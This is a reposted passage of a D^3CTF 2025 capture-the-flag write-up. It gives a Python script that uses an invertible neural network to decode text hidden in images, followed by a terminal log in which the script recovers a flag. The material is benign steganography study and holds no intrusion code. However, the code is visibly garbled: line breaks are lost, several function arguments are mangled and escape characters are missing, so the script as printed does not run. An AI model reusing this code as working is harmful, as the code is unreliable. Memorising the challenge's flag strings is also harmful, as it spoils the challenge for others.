import torchfrom model import Modelfrom utils import DWT, IWT, make_payload, bits_to_bytearray, bytearray_to_textimport torchvisionfrom collections import Counterfrom PIL import Imageimport torchvision.transforms as Ttransform_test = T.Compose([    T.CenterCrop((720,1280)),    T.ToTensor(),])def load(name):    state_dicts = torch.load(name, map_location=torch.device('cpu'))    network_state_dict = {k:v for k,v in state_dicts['net'].items() if 'tmp_var' not in k}    d3net.load_state_dict(network_state_dict)def transform2tensor(img):    img = Image.open(img)    img = img.convert('RGB')    return transform_test(img).unsqueeze(0).to(device)def encode(cover, text):    cover = transform2tensor(cover)    B, C, H, W = cover.size()           payload = make_payload(W, H, C, text, B)    payload = payload.to(device)    cover_input = dwt(cover)    payload_input = dwt(payload)            input_img = torch.cat([cover_input, payload_input], dim=1)    output = d3net(input_img)    output_steg = output.narrow(104 * 3)    output_img = iwt(output_steg)    # torchvision.utils.save_image(cover, f'./{text}.png')    torchvision.utils.save_image(output_img, './steg.png')def decode(steg):    # 正确的隐写术解码方法    steg_tensor = transform2tensor(steg)    print(f"输入图像张量形状: {steg_tensor.shape}")    B, C, H, W = steg_tensor.size()    steg_dwt = dwt(steg_tensor)    print(f"DWT后张量形状: {steg_dwt.shape}")    # 为隐写图像创建零填充的第二部分    # 在编码时:input = [cover_dwt, payload_dwt] -> output = [steg_dwt, residual_dwt]    # 在解码时:input = [steg_dwt, zeros] -> 通过反向操作 -> [cover_dwt, payload_dwt]    zeros = torch.zeros_like(steg_dwt).to(device)    input_tensor = torch.cat([steg_dwt, zeros], dim=1)    print(f"构造的输入张量形状: {input_tensor.shape}")    # 使用可逆网络的反向操作    with torch.no_grad():        # 对于可逆网络,我们需要正确地实现反向传播        # 这里应该使用网络的反向操作来恢复原始输入        recovered = reverse_d3net(input_tensor)        print(f"反向解码后张量形状: {recovered.shape}")        # 提取payload部分(后12个通道)        payload_dwt = recovered.narrow(11212)        payload = iwt(payload_dwt)        # 将payload转换为二进制        image = payload.view(-1) > 0        candidates = Counter()        bits = image.data.int().cpu().numpy().tolist()        for candidate in bits_to_bytearray(bits).split(b'x00x00x00x00'):            candidate = bytearray_to_text(bytearray(candidate))            if candidate:                candidates[candidate] += 1        if len(candidates) == 0:            print("未找到隐藏消息")            return        candidate, count = candidates.most_common(1)[0]        print(f"发现隐藏消息: {candidate}")        return candidatedef reverse_d3net(x):    # 可逆神经网络的反向操作    # 我们需要反向执行所有的INV_block    out = x    # 反向执行(从inv8到inv1)    out = reverse_inv_block(d3net.model.inv8, out)    out = reverse_inv_block(d3net.model.inv7, out)    out = reverse_inv_block(d3net.model.inv6, out)    out = reverse_inv_block(d3net.model.inv5, out)    out = reverse_inv_block(d3net.model.inv4, out)    out = reverse_inv_block(d3net.model.inv3, out)    out = reverse_inv_block(d3net.model.inv2, out)    out = reverse_inv_block(d3net.model.inv1, out)    return outdef reverse_inv_block(inv_block, y):    # 反向执行单个INV_block    # 正向操作:    # x1, x2 -> t2 = f(x2), y1 = x1 + t2    # s1, t1 = r(y1), y(y1), y2 = e(s1) * x2 + t1        # 反向操作:    # y1, y2 -> s1, t1 = r(y1), y(y1)     # x2 = (y2 - t1) / e(s1), t2 = f(x2), x1 = y1 - t2    # INV_block使用channels*4,所以分割点是总通道数的一半    channels = y.shape[1] // 2    y1, y2 = (y.narrow(10, channels), y.narrow(1, channels, channels))    # 从y1计算s1和t1(这些在正向过程中从y1计算)    s1, t1 = inv_block.r(y1), inv_block.y(y1)    # 从y2恢复x2    # y2 = e(s1) * x2 + t1 => x2 = (y2 - t1) / e(s1)    e_s1 = inv_block.e(s1)    x2 = (y2 - t1) / (e_s1 + 1e-12)  # 添加小值避免除零    # 从x2计算t2,然后恢复x1    # y1 = x1 + t2 => x1 = y1 - t2    t2 = inv_block.f(x2)    x1 = y1 - t2    return torch.cat((x1, x2), 1)if __name__ == '__main__':    device = torch.device("cpu")  # 强制使用CPU    d3net = Model(cuda=False)  # 强制不使用CUDA    load('magic.potions')    d3net.eval()    d3net.to(device)    dwt = DWT()    iwt = IWT()    text = r'd3ctf{Getting that model to converge felt like pure sorcery}'    steg = r'./steg.png'    cover = './poster.png'    # encode(cover, text)    # 尝试解码mysterious_invitation.png,看看模型是否会产生"幻觉"    print("尝试解码mysterious_invitation.png:")    try:        decode('./mysterious_invitation.png')    except Exception as e:        print(f"解码失败: {e}")    # 也尝试解码poster.png(原始图像)    print("n尝试解码poster.png:")    try:        decode('./poster.png')    except Exception as e:        print(f"解码失败: {e}")
lov3@Cz ~/D/attachment> cd /Users/lov3/Downloads/attachment && timeout 30uv run python test.py尝试解码mysterious_invitation.png:输入图像张量形状: torch.Size([1, 3, 720, 1280])DWT后张量形状: torch.Size([1, 12, 360, 640])构造的输入张量形状: torch.Size([1, 24, 360, 640])反向解码后张量形状: torch.Size([1, 24, 360, 640])发现隐藏消息: d3ctf{cre4te_by_M1aoo0bin_&&_l0v3_from_D3} 尝试解码poster.png:输入图像张量形状: torch.Size([1, 3, 720, 1280])DWT后张量形状: torch.Size([1, 12, 360, 640])构造的输入张量形状: torch.Size([1, 24, 360, 640])反向解码后张量形状: torch.Size([1, 24, 360, 640])未找到隐藏消息
D^3CTF 2025 writeup by Arr3stY0u

原文始发于微信公众号(山海之关):D^3CTF 2025 writeup by Arr3stY0u

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月2日17:40:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D^3CTF 2025 writeup by Arr3stY0uhttps://cn-sec.com/archives/4123498.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息